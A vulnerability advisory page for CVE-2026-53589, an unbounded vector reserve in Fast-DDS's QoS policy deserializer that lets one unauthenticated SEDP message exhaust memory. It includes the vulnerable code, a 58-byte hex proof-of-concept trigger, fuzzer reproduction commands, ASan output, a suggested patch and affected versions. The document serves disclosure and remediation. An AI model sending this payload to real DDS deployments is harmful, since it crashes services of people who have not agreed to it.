CVE-2026-53589
NVD
Vulnerability Summary
Summary `QosPoliciesSerializer<RTPSEndpointQos>::read_content_from_cdr_message` reads three sequential `uint32_t locators_size` values off the wire and calls `vector<Locator_t>::reserve(locators_size)` on each before any bound check. A single `locators_size = 0xFFFFFFFF` requests `0xFFFFFFFF * sizeof(Locator_t)` ≈ 120 GiB; ASan today reported `malloc(103079208960)` (96 GiB) on a 58-byte trigger. Reachable on default-config SEDP via `PID_RTPS_ENDPOINT` (0x8010) inside `DATA(w)` / `DATA(r)`. No DDS-Security required. Confirmed against `master @ 621f6d826`. Details `src/cpp/fastdds/core/policy/QosPoliciesSerializer.hpp:1531-1561` - three identical blocks, one for each of `unicast_locator_list`, `multicast_locator_list`, `remote_locator_list`: ```cpp uint32_t locators_size; bool valid = rtps::CDRMessage::readUInt32(cdr_message, &locators_size); qos_policy.unicast_locator_list.reserve(locators_size); // unconditional, attacker-controlled for (uint32_t i = 0; i < locators_size; ++i) { rtps::Locator_t loc; valid &= rtps::CDRMessage::read_locator(cdr_message, &loc); qos_policy.unicast_locator_list.push_back(loc); } ``` `reserve(locators_size)` runs unconditionally. The `valid` flag from the `readUInt32` call isn't checked before reserve, and the size isn't bounded against `parameter_length`. Worse than the F1/F2-style `push_back` loops because the OOM hits on the first `reserve` instead of waiting for many `push_back` reallocs. Note: the `read_locator_list` helper in the same module (`src/cpp/rtps/messages/CDRMessage.cpp:307-322`) does the right thing (`check_available_data(msg, locator_list_size, PARAMETER_LOCATOR_LENGTH)` in `uint64_t` arithmetic before `reserve`). This site reimplements the same logic without the helper. Reach: same SEDP path as the other QoS-policy bugs. UDP → `MessageReceiver::processCDRMsg` → DATA dispatch → `EDPBaseSUBListener::add_reader_from_change` (`EDPSimpleListeners.cpp:209-223`) → `ReaderProxyData::read_from_cdr_message` → `readParameterListfromCDRMsg` (`ParameterList.hpp:142`) → this site. Same via `EDPBasePUBListener` for `DATA(w)`. Affected versions: `master @ 621f6d826`, `v3.0.0`, `v2.14.0`. PoC Trigger payload (58 bytes; sha256 `9e1f99c229fdd83a329e730b3609775bbab620bec7d850eb1403fc5b53847723`): ``` 01 00 03 01 00 10 80 29 00 00 08 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 1b 00 f7 ff 03 00 00 ff ff ff ff ff ff ff 09 2f 00 00 00 00 ff 23 00 ``` Byte 0 (`0x01`) is the per-driver selector (`% 3 == 1` → `ReaderProxyData` branch). The remaining 57 bytes reach `ReaderProxyData::read_from_cdr_message`. Reproduces in 1 input via a libFuzzer harness wrapping that function; driver source available on request. Build/run shape (existing OSS-Fuzz `fast-dds` pipeline; save the trigger to a file and adapt the path): ``` python3 infra/helper.py build_fuzzers fast-dds /path/to/Fast-DDS docker run --rm -v $PWD/build/out/fast-dds:/out \ -v /path/to/trigger:/testcase \ --entrypoint /out/fuzz_proxy_cdr gcr.io/oss-fuzz-base/base-runner:latest \ -runs=1 -rss_limit_mb=1500 /testcase ``` ASan top frames against `master @ 621f6d826`: ``` ==1== ERROR: libFuzzer: out-of-memory (malloc(103079208960)) #13 std::vector<Locator_t>::reserve vector.h:1109 #14 LocatorList::reserve LocatorList.hpp:259 #15 QosPoliciesSerializer<RTPSEndpointQos>::read_content_from_cdr_message QosPoliciesSerializer.hpp:1554 #16 read_from_cdr_message QosPoliciesSerializer.hpp:80 #17 (lambda) ReaderProxyData.cpp:1321 #18 readParameterListfromCDRMsg<...> ParameterList.hpp:142 #19 ReaderProxyData::read_from_cdr_message ReaderProxyData.cpp:1376 ``` Impact Pre-auth single-message DoS, default config. Crash on the first `reserve` request, before any `push_back` loop runs. Suggested fix: route through the existing `read_locator_list` helper instead of inlining a hand-rolled count + reserve + loop. If keeping the inline shape, bound `locators_size` against the remaining bytes: ```cpp uint32_t locators_size = 0; if (!rtps::CDRMessage::readUInt32(cdr_message, &locators_size) || locators_size > (cdr_message->length - cdr_message->pos) / PARAMETER_LOCATOR_LENGTH) { return false; } qos_policy.unicast_locator_list.reserve(locators_size); ``` Repeat for the multicast and remote blocks at `:1543` and `:1553`. (The `:1563` `readUInt32` is for `external_locator_list` which is currently a no-op; it's fine.)
CVSS v3.1 Base Metrics — Score 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityNone
IntegrityNone
AvailabilityHigh
Affected & Patched Versions
- fast-DDS <= 3.6.2
- fast-DDS 2.6.12, 2.14.7, 3.2.5, 3.6.3
What to do
Plan remediation soon. No exploitation is confirmed yet, but the severity is high.
- Check whether you run fast-DDS and which version.
- Update to a patched version listed above, then confirm the new version.
Timeline
- Nov 30, 2026Published
- Nov 30, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new fast-DDS CVEsYou are reading CVE-2026-53589. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Dec 3, 2026 02:01 UTC